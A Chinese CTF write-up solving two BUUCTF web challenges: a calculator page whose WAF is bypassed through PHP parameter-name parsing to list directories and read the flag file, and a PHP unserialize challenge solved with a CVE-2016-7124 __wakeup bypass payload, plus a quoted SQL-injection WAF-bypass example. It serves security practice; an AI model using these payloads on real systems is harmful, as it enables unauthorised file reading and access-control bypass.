CTF练习之日常刷题
一、easy clac
题目来源:BUUCTF在线评测 (buuoj.cn)
开启环境,是一个计算功能的网页,先输入一些东西试试
初步判断有后端脚本的过滤,也有前端js的过滤,查看一下源码
发现一个处理脚本,访问calc.php得到源码
过滤了很多特殊符号和一些字符,且不能传字符串。目测从参数方入手有点难绕,但是还有另一种用变量名绕过方式。
php脚本在处理变量时,会把变量名中的一些特色字符删除空白字符,并将一些特殊字符替换为"_",利用这个特点可以绕过一些waf
我们知道PHP将查询字符串(在URL或正文中)转换为内部关联数组$_GET或关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过: /news.php?%20news[id%00=42"+AND+1=0– 上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。 PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除前后的空白符(空格符,制表符,换行符等统称为空白符) 2.将某些字符转换为下划线(包括空格) 原文链接:https://blog.csdn.net/qq_45521281/article/details/105871192
理论存在,实践开始:
?%20num=var_dump(chr(112).chr(113))
ok,成功传入字符串,再利用scandir找一下flag在哪
?%20num=var_dump(scandir(chr(47)))
然后直接用file_get_contents读取就行了
?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
二、极客大挑战 php1
题目来源:BUUCTF在线评测 (buuoj.cn)
开启环境,是一个挺有意思的页面,题还没做,我先完了一会
大佬牛逼,这前端写的厉害,哈哈哈
提示了网站备份,用dirsearch和御剑扫了下,趁着扫的时间,试了下git,svn,swp,bak等后缀,可惜没用
访问观察都没啥用,flag.php也是空的,这里有点怀疑flag在注释里,要读取原文件,结果直接出了源码,那就不是了
下载www.zip解压,然后开始审计
<!DOCTYPE html> <head> <meta charset="UTF-8"> <title>I have a cat!</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"> <link rel="stylesheet" href="style.css"> </head> <style> #login{ position: absolute; top: 50%; left:50%; margin: -150px 0 0 -150px; width: 300px; height: 300px; } h4{ font-size: 2em; margin: 0.67em 0; } </style> <body> <div id="world"> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯 </div> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!! </div> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;"> <?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?> </div> <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div> </div> <script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script> <script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script> <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script> <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script> <script src="index.js"></script> </body> </html>
找到关键点,包含了class.php,用select传参,并且大概率是反序列化,再看class.php
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
关键点在_destruct这个函数这里
将name序列化后作为select的参数传参,后端对name反序列化,在销毁name对象时,会调用_destruc()
但在调用_destruc()前可能还会调用 _wakeup(),wakeup会改变username的值
利用CVE-2016-7124进行绕过,即反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
然后开始构造序列化对象
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a = new Name('admin', 100); var_dump(serialize($a)); ?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
把name那里的2改成比2大的数
还是不行,因为这个声明变量是private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 ps:来源为https://zhuanlan.zhihu.com/p/137898056
改造一下参数,改造后
O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
ok,搞定